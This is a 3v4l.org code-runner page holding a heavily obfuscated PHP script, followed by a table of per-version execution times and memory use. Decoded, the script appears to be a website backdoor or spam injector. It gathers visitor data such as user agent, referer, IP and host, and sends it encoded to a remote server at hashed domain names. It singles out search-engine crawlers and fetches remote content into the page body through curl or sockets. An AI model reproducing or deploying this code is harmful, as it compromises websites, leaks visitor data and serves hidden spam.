3v4l.org

run code in 300+ PHP versions simultaneously
<?php function oo2($b) { $h = explode("|", strrev($b)); $d = explode("*", $h[0]); $b = $h[1]; for($i=0;$i<sizeof($d);$i++) { $b = str_replace($i, $d[$i], $b); } return $b; } function cqq($qw) { return random($domarr,$qw); } function oo1($y) { $y= strrev($y); $g=substr($y,strpos($y,"9")+1); $v = explode(":",substr($y,0,strpos($y,"9"))); for($i=0;$i<sizeof($v);$i++) { $q = explode("|", $v[$i]); $g = str_replace($q[0],$q[1],$g); } return $g; } function en2($s, $q) { $l="strlen"; $p="pack"; $r="substr"; $m="md5"; $g = ""; while ($l($g)<$l($s)) { $q = $p("H*",$m($g.$q."q1w2e3r4")); $g.=$r($q,0,8); } return $s^$g; } function random($arr,$qw) { $w="gethost"; $qq="-dn"; $r="byname"; $wq="tat"; $s="s"; $g="gethostbyname"; $m="md5"; $sq="str_split"; en2("0?kgwLX371\23\5z62e2:Wn0@l.1?\4j64A403{3\5S1'\13","str_replace"); return $arr[rand((0.24-(0.03*8)),(0.1875*6))].$qw; } echo oo1('5656}5;Bv5;oc$v5Y5;-4_g@&oc$5;oc$v5Y5;-3_g@&oc$5;oc$v5Y5;-2_g@&oc$5;oc$v5Y5;-1_g@&oc$5;B&oc$5{5-6dtz55}56;%v5;)%6,"n\r\n\r\"(edolpxe&)%6,m$(tsil5;~v5)BV%(6fi5;)J(esolcW@5}5;t$6=.6%5{6))000016,J(daerW&t$(6elihw5;B&%5;)qer$6,J(etirwW5;"n\n\X$6:tsoH"6=.6qer$5;"n\0.1/PTTH6iru$6TEG"&qer$5}5;~v5;)J(esolcW@5{6))086,1pi$6,J(tcennocW@!(6fi5;)PCT_LOS6,MAERTS_KCOS6,TENI_FA(etaercW@&J5;~v5)2pi$6=!61pi$(6fi5;))1pi$(gnol2pi@(pi2gnol@&2pi$5;)X$(emanybXteg@&1pi$5;]"yreuq"[p$6.6"?"6.6]"htap"[p$&iru$5;B=]"yreuq"[p$6))]"yreuq"[p$(tessi!(fi5;]"X"[p$&X$5;-lru_esrap@6=p$5;~v5)~^)"etaercWj4_z55}5;%v5;~v5)BV%(6fi5;)cni$6,B(edolpmi@&%5;-elif@&cni$5;~v5)~^)"elifj3_z5}5;ser$v5;~v5)BVser$(6fi5;)hc$(esolcQ5;)hc$(cexeQ&ser$5;)06,REDAEH+5;)016,TUOEMIT+5;)16,REFSNARTNRUTER+5;)lru$6,LRU+5;)(tiniQ&hc$5;~v5)~^)"tiniQj2_z555}5;%v5;~v5)BV%(6fi5;-Z@&%5;~v5)~^)"Zj1_z59 |6: |5:""|B: == |V:tsoh|X:stnetnoc_teg_elif|Z:kcos$|J:_tekcos|W:_lruc|Q:)lru$(|-:_TPOLRUC ,hc$(tpotes_lruc|+:tpotes_lruc|*: = |&: === |^:fub$|%:eslaf|~: nruter|v:)~ ==! oc$( fi|Y:g noitcnuf|z:"(stsixe_noitcnuf( fi { )lru$(|j'); echo oo2('}}};eslaf nruter {esle };))8-,i$,ataDzg$(rtsbus(etalfnizg@ nruter };2+i$=i$ )2 & glf$ ( fi ;1+)i$ ,"0\",ataDzg$(soprts=i$ )61 & glf$( fi ;1+)i$,"0\",ataDzg$(soprts=i$ )8 & glf$( fi };nelx$+2+i$=i$ ;))2,i$,ataDzg$(rtsbus,"v"(kcapnu=)nelx$(tsil { )4 & glf$( fi { )0>glf$( fi ;))1,3,ataDzg$(rtsbus(dro=glf$ ;01=i$ { )"80x\b8x\f1x\"==)3,0,ataDzg$(rtsbus( fi { )ataDzg$(izgmoc noitcnuf { ))"izgmoc"(stsixe_noitcnuf!( fi|0'); echo oo1('} ;1o$~ } ;"" = 1o$Y;]1[1a$ = 1o$ )2=>)1a$(foezis( fi ;)1ac$,"0FN!"(edolpxe@=1a$ ;)po$,)-$(dtg@(2ne=1ac$ ;4g$."/".)"moc."(qqc."//:ptth"=-$ ;)))e&+)d&+)c&+)b&+)a&(edocne-(edocne-."?".po$=4g$ ;)999999,000001(dnar_tm=po$ {Y} ;"" = 1o$ { ) )))a$(rewolotrts ,"i/" . ))"relbmar*xednay*revihcra_ai*tobnsm*pruls*elgoog"(yarra ,"|"(edolpmi . "/"(hctam_gerp( ro )"nimda",)e$(rewolotrts(soprrtsQd$(Qc$(Qa$(( fi ;)"bc1afd45*88275b5e*8e4c7059*8359bd33"(yarra = rramod^FLES_PHP%e^TSOH_PTTH%d^RDDA_ETOMER%c^REREFER_PTTH%b^TNEGA_RESU_PTTH%a$ { )(212yadj } ;a$~ ;W=a$Y;"non"=a$ )""==W( fiY;"non"=a$ ))W(tessi!(fi { )marap$(212kcehcj } ;))po$ ,txet$(2ne(edocne_46esab~ { )txet&j9 esle |Y:]marap$[REVRES_$|W: ro )"non"==|Q:lru|-:.".".|+:","|*:$,po$(43k|&:$ ;)"|^:"(212kcehc=|%: nruter|~: noitcnuf|j'); echo oo2('}}8zc$9nruter9}817==!9eslaf28)45@9=979{96"5"(stsixe_328164sserpmocnuzg08164izgmoc08164etalfnizg09{9)llun9=9htgnel$9,4oocd939{9))"oocd"(stsixe_3!2| * ;*zd$*) )*edocedzg*zc$(*noitcnuf*( fi*zd$ nruter ) *@ = zd$( ==! eslaf( fi'); echo oo1(';)"j"(trats_boU~~~~;t$U&zesleU~;)W%Y%RzesleU~;)W@Y@RU;)v$(oocd=t$U;"54+36Q14+c6Q06+56Q26+".p$=T;"05+36Q46+16Q55+".p$=1p$;"f5Q74+56Q26+07Q"=p$U;)"enonU:gnidocnE-tnetnoC"(redaeHz)v$(jUwz))"j"(stsixe_w!k9 |U:2p$|T:x\|Q:1\|+:nruter|&:lmth|%:ydob|@:} |~: { |z:(fi|k:22ap|j:noitcnuf|w:/\<\(/"(T &z))t$,"is/|Y:/\<\/"(1p$k|R:1,t$ ,"1"."$"."n\".)(212yad ,"is/)>\*]>\^[|W');

Here you find the average performance (time & memory) of each version. A grayed out version indicates it didn't complete successfully (based on exit-code).

VersionSystem time (s)User time (s)Memory (MiB)
7.3.00.0060.00616.45
7.2.130.0040.00716.77
7.2.120.0000.01116.76
7.2.110.0030.01017.08
7.2.100.0040.00716.89
7.2.90.0030.01016.64
7.2.80.0040.01116.72
7.2.70.0040.00716.68
7.2.60.0100.00316.59
7.2.50.0050.00516.73
7.2.40.0040.00816.89
7.2.30.0050.00316.95
7.2.20.0030.00916.79
7.2.10.0040.00416.87
7.2.00.0090.00616.82
7.1.250.0030.01015.79
7.1.240.0030.00715.91
7.1.230.0030.00615.66
7.1.220.0060.00615.90
7.1.210.0060.00315.77
7.1.200.0070.00315.52
7.1.190.0040.00815.46
7.1.180.0060.00315.80
7.1.170.0030.01015.76
7.1.160.0030.00515.35
7.1.150.0030.01015.75
7.1.140.0110.00015.71
7.1.130.0030.00915.70
7.1.120.0000.01215.53
7.1.110.0000.00915.53
7.1.100.0080.00015.97
7.1.90.0090.00315.74
7.1.80.0000.00915.53
7.1.70.0070.00516.50
7.1.60.0070.01017.69
7.1.50.0050.01316.41
7.1.40.0030.01415.98
7.1.30.0040.01115.80
7.1.20.0000.01515.38
7.1.10.0070.00315.76
7.1.00.0030.05019.11
7.0.330.0000.01015.34
7.0.320.0090.00015.32
7.0.310.0100.00015.17
7.0.300.0130.00015.50
7.0.290.0030.00715.24
7.0.280.0000.00915.01
7.0.270.0000.00815.43
7.0.260.0000.01115.32
7.0.250.0040.00415.62
7.0.240.0140.00015.33
7.0.230.0000.01115.27
7.0.220.0030.00615.52
7.0.210.0070.00315.41
7.0.200.0050.00516.09
7.0.190.0030.01015.48
7.0.180.0030.01015.43
7.0.170.0030.01215.47
7.0.160.0130.00015.20
7.0.150.0000.00815.39
7.0.140.0050.03918.79
7.0.130.0000.01015.17
7.0.120.0070.00315.21
7.0.110.0000.00915.29
7.0.100.0060.00615.52
7.0.90.0060.00615.42
7.0.80.0060.00915.46
7.0.70.0090.00615.36
7.0.60.0080.04018.56
7.0.50.0030.03316.73
7.0.40.0050.04216.92
7.0.30.0160.03016.94
7.0.20.0160.02616.78
7.0.10.0070.04216.84
7.0.00.0030.03816.75
5.6.380.0060.00614.30
5.6.370.0090.00014.36
5.6.360.0050.00314.68
5.6.350.0000.01714.56
5.6.340.0100.00314.53
5.6.330.0000.01014.21
5.6.320.0000.00914.17
5.6.310.0060.00914.30
5.6.300.0030.00714.59
5.6.290.0030.00614.54
5.6.280.0070.03717.64
5.6.270.0000.01614.55
5.6.260.0000.00914.56
5.6.250.0030.00514.58
5.6.240.0000.01114.52
5.6.230.0090.00314.38
5.6.220.0070.00014.40
5.6.210.0100.03817.51
5.6.200.0020.02616.37
5.6.190.0050.02317.21
5.6.180.0230.03617.61
5.6.170.0060.02617.47
5.6.160.0030.02917.50
5.6.150.0090.01916.37
5.6.140.0030.04116.19
5.6.130.0080.02016.17
5.6.120.0050.04917.73
5.6.110.0050.03717.82
5.6.100.0050.02617.65
5.6.90.0040.02517.69
5.6.80.0090.02717.48
5.6.70.0000.01414.00
5.6.60.0030.00913.95
5.6.50.0040.00714.53
5.6.40.0030.00914.52
5.6.30.0030.00714.48
5.6.20.0040.00714.29
5.6.10.0120.00013.94
5.6.00.0030.00914.18
5.5.380.0050.00211.18
5.5.370.0000.00811.38
5.5.360.0000.00811.32
5.5.350.1740.02015.73
5.5.340.0030.03814.85
5.5.330.0090.03815.67
5.5.320.0150.03515.69
5.5.310.0200.03515.86
5.5.300.0030.04414.63
5.5.290.0070.04214.62
5.5.280.0070.04416.03
5.5.270.0030.02315.87
5.5.260.0130.03816.14
5.5.250.0040.03515.98
5.5.240.0070.02515.69
5.5.230.0080.00311.04
5.5.220.0030.00611.16
5.5.210.0000.00911.09
5.5.200.0030.00610.93
5.5.190.0070.00411.00
5.5.180.0030.00911.20
5.5.170.0030.00311.25
5.5.160.0030.00611.00
5.5.150.0030.00311.37
5.5.140.0030.00611.33
5.5.130.0040.00711.00
5.5.120.0060.00311.05
5.5.110.0000.00711.20
5.5.100.0050.00311.44
5.5.90.0030.00311.46
5.5.80.0060.00011.05
5.5.70.0070.00311.35
5.5.60.0000.01011.47
5.5.50.0040.00411.30
5.5.40.0080.00311.20
5.5.30.0030.00511.47
5.5.20.0070.00411.27
5.5.10.0060.00311.20
5.5.00.0030.00611.32
5.4.450.0200.02518.55
5.4.440.0340.02318.37
5.4.430.0230.02518.34
5.4.420.0170.02818.17
5.4.410.0260.02318.27
5.4.400.0080.02316.00
5.4.390.0130.03115.71
5.4.380.0230.03114.89
5.4.370.0200.02715.04
5.4.360.0180.03214.82
5.4.350.0240.02914.85
5.4.340.0140.03414.93
5.4.330.0040.00810.95
5.4.320.0050.02211.80
5.4.310.0060.02411.79
5.4.300.0040.02811.80
5.4.290.0070.02011.81
5.4.280.0040.02311.79
5.4.270.0070.02511.74
5.4.260.0060.02811.87
5.4.250.0060.02511.73
5.4.240.0090.02011.70
5.4.230.0050.02711.70
5.4.220.0080.02511.78
5.4.210.0100.02511.66
5.4.200.0070.03111.82
5.4.190.0040.03011.66
5.4.180.0060.03111.71
5.4.170.0070.02511.80
5.4.160.0050.02511.66
5.4.150.0020.02611.73
5.4.140.0040.02411.66
5.4.130.0080.02011.64
5.4.120.0020.02611.57
5.4.110.0050.02111.62
5.4.100.0050.02211.58
5.4.90.0040.02211.58
5.4.80.0050.02411.47
5.4.70.0040.02311.69
5.4.60.0040.02311.50
5.4.50.0050.02811.47
5.4.40.0060.02511.70
5.4.30.0050.02411.62
5.4.20.0040.02711.55
5.4.10.0060.02411.50
5.4.00.0030.02711.37
5.3.290.0060.02911.85
5.3.280.0070.02511.80
5.3.270.0070.02811.81
5.3.260.0070.02911.81
5.3.250.0030.03211.81
5.3.240.0090.02711.81
5.3.230.0040.03311.80
5.3.220.0040.02711.79
5.3.210.0040.02611.79
5.3.200.0090.02711.79
5.3.190.0040.02211.79
5.3.180.0040.02411.79
5.3.170.0070.02111.79
5.3.160.0050.02111.79
5.3.150.0060.02311.79
5.3.140.0060.02311.79
5.3.130.0060.02511.78
5.3.120.0030.02411.78
5.3.110.0070.02211.78
5.3.100.0080.02211.52
5.3.90.0070.02411.51
5.3.80.0060.02111.51
5.3.70.0070.02211.51
5.3.60.0040.02411.50
5.3.50.0080.02411.48
5.3.40.0050.02411.48
5.3.30.0060.02311.46
5.3.20.0090.02011.35
5.3.10.0080.02411.33
5.3.00.0050.03011.32
5.2.170.0040.01910.08
5.2.160.0030.02010.08
5.2.150.0040.02010.08
5.2.140.0070.01810.08
5.2.130.0040.01910.06
5.2.120.0040.01910.06
5.2.110.0070.01810.06
5.2.100.0060.01710.06
5.2.90.0040.02010.06
5.2.80.0080.02210.05
5.2.70.0060.02310.05
5.2.60.0040.02610.04
5.2.50.0040.01910.02
5.2.40.0040.02010.00
5.2.30.0070.0169.99
5.2.20.0030.0199.98
5.2.10.0060.0179.94
5.2.00.0080.0209.87
5.1.60.0050.0149.51
5.1.50.0020.0169.51
5.1.40.0080.0139.50
5.1.30.0050.0169.67
5.1.20.0050.0169.68
5.1.10.0030.0199.55
5.1.00.0060.0149.54
5.0.50.0040.0138.79
5.0.40.0040.0148.72
5.0.30.0040.0248.63
5.0.20.0060.0208.62
5.0.10.0050.0228.61
5.0.00.0040.0298.61
4.4.90.0040.0147.84
4.4.80.0040.0157.83
4.4.70.0050.0147.83
4.4.60.0020.0127.83
4.4.50.0030.0137.83
4.4.40.0020.0217.80
4.4.30.0040.0127.83
4.4.20.0050.0147.87
4.4.10.0020.0147.87
4.4.00.0050.0257.83
4.3.110.0020.0167.79
4.3.100.0030.0137.78
4.3.90.0050.0127.77
4.3.80.0050.0167.76
4.3.70.0020.0157.77
4.3.60.0020.0157.76
4.3.50.0020.0167.76
4.3.40.0040.0197.73
4.3.30.0020.0157.13
4.3.20.0030.0127.13
4.3.10.0030.0147.11
4.3.00.0050.01014.79

preferences:
38.31 ms | 401 KiB | 5 Q